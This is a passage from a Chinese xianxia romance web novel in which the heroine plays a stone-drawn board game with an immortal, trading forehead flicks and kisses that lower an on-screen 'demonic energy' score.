“再见了小玉锥。”软糯的小声音说着,便在里面举手再见,“下次我无聊,没人陪我玩的时候,我再来找你喔!”
玄屹脸上肌肉跳了两下。
白珏却是笑盈盈地抽出小人,拿起地上石子。
“来,第二局。”
这次,她可不会再大意了!
看她怎么弹他!
15.第十五章
白珏对自己还是很有信心的。
第一局她输在轻敌,以为男人是新手,便没有太过专注,想着随随便便就能赢,没想到翻车了。
重新画好棋盘,白珏决定不再让他,先手画下一个圆圈。
玄屹似也有所觉察,从第一个子便开始斟酌起来,整个思忖的过程,比第一局还要慢。
若不是这把抱着必胜的心态,白珏在他思索之时,肯定又要神游了。
“这也太慢了吧?”
白珏戳戳他手臂。
【-1】【-1】【-1】
“这要是在手机上玩,倒计时都结束好几轮了。”
玄屹不疾不徐,未露半分急色,那目光缓缓地落在棋盘上。
又堵她!
只要白珏开始布局,玄屹便想提前猜出一般,将她的路全部提前封住。
白珏也算是摸透了他的路数,俨然一个防守反击型,把对方堵成一团乱麻时,寻找机会形成自己的路数。
白珏时时刻刻提防着他的棋子,随着棋盘上的子越来越多,她思考的时间也越来越长。
直到男人视线落在一处,布满了棋子的空隙上,沉默许久的白珏,肉眼可见的松了口气,双臂忽地高抬,扬声便道:“我赢了!”
这一声喊得极为解气,就像将方才输棋时所有的憋闷都宣泄而出。
而石床上的玄屹,神情依旧淡然,非但没有一丝气恼,反倒是暗暗松了口气,朝洞外扫了一眼。
白珏未曾看到这些,在她回过头时,玄屹已是敛眸。
“我弹了哦?”
玄屹眨了一下眼,弹吧。
白珏带着一丝得意,还有终于可以报仇的快意。
让他戏弄她,她才不会什么怜香惜玉,心慈手软!
白珏将中指指尖用力崩在拇指指腹上,随后放在嘴边“哈”了一声,便对准玄屹脑门儿,指尖飞射而出。
“嘣!”
【-1】
白珏愣住。
玄屹也愣住。
旋即,白珏便疼得五官皱成一团,“啊!我的手指,好疼啊……”
与此同时,那脑袋瓜嗡嗡作响的玄屹,也在震惊中回过神,一双剑眉瞬间蹙起,双眼似也被这猛烈的酸痛感压得不由眯起。
这孽徒,竟顽劣到如此地步!
敢在他仙印之处下手?
要知整整五万年,没有一个人敢触他额间仙印!
便是当年仙魔大战,他身受重伤也只不过是内伤,额间仙印也未曾损过分毫!
“你还瞪我?”白珏疼得直吹指尖,“你额头是石头做的吗,怎么这样硬啊?”
话落,她气呼呼地看向男人,却见男人额头正中,靠近眉心之处,肿起了一个大包。
毫不夸张,又红又肿。
白珏懵了。
显然也被自己的力道吓了一跳。
“我、我……也没有这么狠啊?”
她承认是想给男人一点颜色瞧瞧,但也没有到这个地步啊,她以前弹同学的时候,就比这个轻了一丁点而已。
真的不至于。
等等。
白珏忽然想起来了。
这几日她力气增进了不少,连男人说背都能背起,所以方才那个力道,的确要比以前重了许多。
她看了看自己的手指,又看了看男人额头,讪讪道:“你、你不许瞪我,愿赌服输,谁让你输了。”
对,他输了,他就是得接受惩罚。
白珏敛起神色,扬起下巴理直气壮道:“要是不服气,你赢回来便是!”
她用鞋底将棋盘重新抹平,不顾男人沉沉面色,转过身又拿石头画出一副。
“到你先了。”
白珏梗着脖子道。
玄屹双眸紧闭,深匀了几个呼吸后,终是缓缓睁开,虽未瞪她,可那神情却是冷得骇人。
这一局,下得极其焦灼,但最终,是玄屹赢了。
白珏这次没有生气,不过还是有几分不服气,毕竟眼看她的局就要布成功了,男人却是先她一步。
既是人家赢了,那她也无话可说,亲就是了。
“吧唧。”
【-5】
落在下巴处。
白珏也忘了前几日有没有亲过此处,但只降5分对于她来说,有点少了,不如唇瓣的8分好。
下次还是要8分。
不过干嘛等到下次,她说输了就亲,又没说亲哪里,更没提亲几下。
“吧唧。”
【-8】
“吧唧。”
【-8】
“吧唧。”
【-8】
一连好几下,白珏才起身,而男人已是彻底平静下来,似早已料到她会如此行事。
这第四局,白珏输,又是惜败。
不气是假的,明明她已经布好局,凑成了两线的三子,可没想到,男人却先她一步,凑成了四子的线。
连输两局,白珏心情又不美丽了。
不过想到能降分,多少还好受些。
“恭喜仙君又赢了呢!”
话落,她俯身上前,在那唇瓣上吧唧了几大口,随即又朝着下巴处,吧唧了两下。
扫了眼右上角。
魔气值:【989533085】
好像和早上起来的时候,差别不大啊。
白珏觉得今天降得根本不够。
当即决定继续下去。
【-10】
咦?同样都是皮
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肤,下巴只降5分,喉结竟然能降10分,都快敢上小红豆了。
不错不错。
“吧唧!”
【-10】
“吧唧!”
【-10】
“吧唧!”
【-10】
白珏也不知自己到底吧唧了多少下,总归那处是红了,而男人也闭上了眼。
她晃了晃他:“别睡,起来再下几盘!”
玄屹并非在睡,而是一看见她就头疼,各种心烦意乱下,他只能念静心咒。
洞内光线又暗下几分,白珏依旧兴致勃勃,实在白日里待得太过无聊,好不容易寻了个既能消磨时间,又能降分的好办法,她才不愿轻易结束。
再说,她已经连输了两局了,这一局她要赢回来,大不了弹分数高的地方,轻点就是了。
思及此,白珏画棋盘的动作倏然一顿。
她缓缓回头,目光落向那处。
根据以往经验,手和唇的分值相比,唇要高出嘴许多分,那弹那处会降50分,如果是用唇……
不,不要!
她才不要呢!
要试也该是他来试!
对,就该用他试,反正他触的分值可以翻十倍,怎么都比她去试划算!
只是……什么时候试比较好呢?
等这周结束?会不会太久啊,她真的愈发好奇了。
白珏正琢磨着,忽然感觉有道目光朝她冷冷射来,一抬眼,便对上了男人那双冷眸。
这孽徒又在作甚,缘何盯着他那处出神?
面对玄屹的警觉,白珏撇撇嘴,回过头又去画棋盘。
这一局,她又输了,依旧是鏖战许久的惜败。
局面已有有些无关降分了,她就是想在今晚睡觉前赢一把,怎么就这样难呢?
每次都只差一点点!
她就不信邪了!
可偏就这么邪门,她竟当真连输了七局,每局哪怕走势再不相同,最后都是已久战惜败告终。
白珏带着几分气性,朝那小红豆上狠狠吧唧了一下,“再来一局。”
【-15】
玄屹却是未曾看她,而是将视线移去洞口。
天黑了。
洞内几乎快要彻底暗下。
白珏扁着嘴,有种当初玩手游时,眼看要升星,却一连惜败的憋屈感,若实力太过悬殊,她也不强求了,可她明明不差,每次都只是输了一点点,她是真的不服!
“不要,不要休息,最后一把,真的最后一把,输赢都睡觉,我保证,我不赖皮!”
玄屹想要反对,可看到白珏已是自顾自拿起石子开始画棋盘,便只能无奈地叹了口气。
不过,这一局,很快就结束了。